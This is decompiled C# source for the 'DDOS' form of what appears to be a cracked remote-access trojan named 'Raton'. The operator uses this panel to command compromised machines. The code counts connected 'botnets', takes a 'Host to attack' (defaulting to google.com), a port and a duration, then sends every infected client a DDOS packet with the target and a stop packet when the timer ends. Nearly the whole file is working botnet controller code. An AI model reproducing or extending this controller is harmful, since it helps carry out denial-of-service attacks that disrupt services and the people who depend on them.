Files
2026-08-27 11:23:13 -06:00

327 lines
11 KiB
C#

// Decompiled with JetBrains decompiler
// Type: Raton.Forms.DDOS
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Raton.Classes;
using Raton.Properties;
using Server.Connection;
using Stuff;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Threading.Tasks;
using System.Windows.Forms;
#nullable disable
namespace Raton.Forms;
public class DDOS : Form
{
private int remainingSeconds;
public int current;
public List<SillyClient> clients = new List<SillyClient>();
public List<SillyClient> currentShit = new List<SillyClient>();
private IContainer components;
private Timer timer1;
private Label label1;
private Label label2;
private Label label3;
private TextBox textBox1;
private NumericUpDown timeout;
private Label label4;
private Label label5;
private NumericUpDown port;
private Label label6;
private RgbBuildButton rgbBuildButton1;
private Timer timer2;
public DDOS()
{
this.InitializeComponent();
DarkMode.Start((Form) this);
this.timer1.Start();
}
private void DDOS_Load(object sender, EventArgs e)
{
this.BackColor = Color.Black;
this.clients = Program.form2.GetClients();
if (this.clients.Count < 1)
{
this.label3.Text = "no botnets online";
this.label3.ForeColor = Color.Red;
}
else if (this.clients.Count == 1)
{
this.label3.Text = this.clients.Count.ToString() + " botnet online";
this.label3.ForeColor = Color.Green;
}
else
{
this.label3.Text = this.clients.Count.ToString() + " botnets online";
this.label3.ForeColor = Color.Green;
}
}
private void timer1_Tick(object sender, EventArgs e)
{
this.clients = Program.form2.GetClients();
if (this.clients.Count < 1)
{
this.label3.Text = "no botnets online";
this.label3.ForeColor = Color.Red;
}
else if (this.clients.Count == 1)
{
this.label3.Text = this.clients.Count.ToString() + " botnet online";
this.label3.ForeColor = Color.Green;
}
else
{
this.label3.Text = this.clients.Count.ToString() + " botnets online";
this.label3.ForeColor = Color.Green;
}
}
private async void button1_Click(object sender, EventArgs e)
{
this.rgbBuildButton1.Enabled = false;
this.rgbBuildButton1.Text = "Starting...";
string ip = this.textBox1.Text;
string portVal = this.port.Value.ToString();
this.clients = Program.form2.GetClients();
if (this.clients.Count == 0)
{
int num = (int) Messenger.MessageBox("No botnets connected");
this.rgbBuildButton1.Enabled = true;
}
else
{
this.currentShit.Clear();
this.currentShit.AddRange((IEnumerable<SillyClient>) this.clients);
this.remainingSeconds = (int) this.timeout.Value;
this.timer2.Interval = 1000;
this.timer2.Start();
this.current = this.clients.Count;
this.rgbBuildButton1.Text = $"Running with {this.current} clients...";
await Task.Run((Action) (() =>
{
foreach (SillyClient sillyClient in this.currentShit)
{
Pack pack = new Pack();
pack.SetString("Packet", nameof (DDOS));
pack.SetString("IP", ip);
pack.SetString("Port", portVal);
sillyClient.Send(pack.Pacc());
}
}));
}
}
private void timer2_Tick(object sender, EventArgs e)
{
--this.remainingSeconds;
this.Text = $"DDOS attack remaining: {this.remainingSeconds}s";
if (this.remainingSeconds > 0)
return;
foreach (SillyClient client in this.clients)
{
Pack pack = new Pack();
pack.SetString("Packet", "DDOSstop");
client.Send(pack.Pacc());
}
this.currentShit.Clear();
this.timer2.Stop();
this.rgbBuildButton1.Enabled = true;
this.rgbBuildButton1.Text = "Start DDOS attack";
this.Text = "DDOS attack finished";
}
private void DDOS_FormClosing(object sender, FormClosingEventArgs e)
{
foreach (SillyClient client in this.clients)
{
Pack pack = new Pack();
pack.SetString("Packet", "DDOSstop");
client.Send(pack.Pacc());
}
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (DDOS));
this.timer1 = new Timer(this.components);
this.label1 = new Label();
this.label2 = new Label();
this.label3 = new Label();
this.textBox1 = new TextBox();
this.timeout = new NumericUpDown();
this.label4 = new Label();
this.label5 = new Label();
this.port = new NumericUpDown();
this.label6 = new Label();
this.timer2 = new Timer(this.components);
this.rgbBuildButton1 = new RgbBuildButton();
this.timeout.BeginInit();
this.port.BeginInit();
this.SuspendLayout();
this.timer1.Interval = 1000;
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.label1.AutoSize = true;
this.label1.BackColor = SystemColors.Control;
this.label1.Font = new Font("Microsoft JhengHei", 14.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.label1.Location = new Point(12, 9);
this.label1.Name = "label1";
this.label1.Size = new Size(233, 24);
this.label1.TabIndex = 0;
this.label1.Text = "LA RATA RATON DDOS:";
this.label2.AutoSize = true;
this.label2.BackColor = SystemColors.Control;
this.label2.Font = new Font("Microsoft JhengHei", 14.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.label2.Location = new Point(241, 9);
this.label2.Name = "label2";
this.label2.Size = new Size(138, 24);
this.label2.TabIndex = 1;
this.label2.Text = "veri cool ddos";
this.label3.Font = new Font("Microsoft JhengHei", 14.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.label3.ForeColor = Color.Red;
this.label3.Location = new Point(544, 9);
this.label3.Name = "label3";
this.label3.Size = new Size(191, 24);
this.label3.TabIndex = 2;
this.label3.Text = "0 botnets online";
this.label3.TextAlign = ContentAlignment.TopRight;
this.textBox1.Font = new Font("Microsoft JhengHei", 11.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.textBox1.Location = new Point(12, 82);
this.textBox1.Name = "textBox1";
this.textBox1.Size = new Size(450, 27);
this.textBox1.TabIndex = 3;
this.textBox1.Text = "google.com";
this.timeout.Font = new Font("Microsoft JhengHei", 11.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.timeout.Location = new Point(557, 82);
this.timeout.Maximum = new Decimal(new int[4]
{
1000,
0,
0,
0
});
this.timeout.Minimum = new Decimal(new int[4]
{
1,
0,
0,
0
});
this.timeout.Name = "timeout";
this.timeout.Size = new Size(178, 27);
this.timeout.TabIndex = 4;
this.timeout.Value = new Decimal(new int[4]
{
1,
0,
0,
0
});
this.label4.AutoSize = true;
this.label4.BackColor = SystemColors.Control;
this.label4.Font = new Font("Microsoft JhengHei", 14.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.label4.Location = new Point(12, 46);
this.label4.Name = "label4";
this.label4.Size = new Size(139, 24);
this.label4.TabIndex = 5;
this.label4.Text = "Host to attack";
this.label5.AutoSize = true;
this.label5.BackColor = SystemColors.Control;
this.label5.Font = new Font("Microsoft JhengHei", 14.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.label5.Location = new Point(553, 46);
this.label5.Name = "label5";
this.label5.Size = new Size(182, 24);
this.label5.TabIndex = 6;
this.label5.Text = "Timeout (Seconds)";
this.port.Font = new Font("Microsoft JhengHei", 11.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.port.Location = new Point(468, 82);
this.port.Maximum = new Decimal(new int[4]
{
70000,
0,
0,
0
});
this.port.Name = "port";
this.port.Size = new Size(83, 27);
this.port.TabIndex = 8;
this.port.Value = new Decimal(new int[4]
{
80 /*0x50*/,
0,
0,
0
});
this.label6.AutoSize = true;
this.label6.BackColor = SystemColors.Control;
this.label6.Font = new Font("Microsoft JhengHei", 14.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.label6.Location = new Point(464, 46);
this.label6.Name = "label6";
this.label6.Size = new Size(49, 24);
this.label6.TabIndex = 9;
this.label6.Text = "Port";
this.timer2.Interval = 1000;
this.timer2.Tick += new EventHandler(this.timer2_Tick);
this.rgbBuildButton1.BackColor = SystemColors.ButtonHighlight;
this.rgbBuildButton1.Cursor = Cursors.Arrow;
this.rgbBuildButton1.Font = new Font("Segoe UI Semibold", 10.5f);
this.rgbBuildButton1.ForeColor = Color.White;
this.rgbBuildButton1.Icon = (Image) Resources.ic_fluent_bug_24_filled;
this.rgbBuildButton1.IconSize = 23;
this.rgbBuildButton1.IconSpacing = 8;
this.rgbBuildButton1.Location = new Point(12, 116);
this.rgbBuildButton1.Name = "rgbBuildButton1";
this.rgbBuildButton1.Size = new Size(723, 46);
this.rgbBuildButton1.TabIndex = 10;
this.rgbBuildButton1.Text = "Start DDOS attack";
this.rgbBuildButton1.Click += new EventHandler(this.button1_Click);
this.AutoScaleDimensions = new SizeF(7f, 15f);
this.AutoScaleMode = AutoScaleMode.Font;
this.BackColor = SystemColors.ActiveCaptionText;
this.BackgroundImage = (Image) Resources.ratonicon;
this.BackgroundImageLayout = ImageLayout.Stretch;
this.ClientSize = new Size(747, 183);
this.Controls.Add((Control) this.rgbBuildButton1);
this.Controls.Add((Control) this.label6);
this.Controls.Add((Control) this.port);
this.Controls.Add((Control) this.label5);
this.Controls.Add((Control) this.label4);
this.Controls.Add((Control) this.timeout);
this.Controls.Add((Control) this.textBox1);
this.Controls.Add((Control) this.label3);
this.Controls.Add((Control) this.label2);
this.Controls.Add((Control) this.label1);
this.DoubleBuffered = true;
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.Name = nameof (DDOS);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = nameof (DDOS);
this.FormClosing += new FormClosingEventHandler(this.DDOS_FormClosing);
this.Load += new EventHandler(this.DDOS_Load);
this.timeout.EndInit();
this.port.EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
}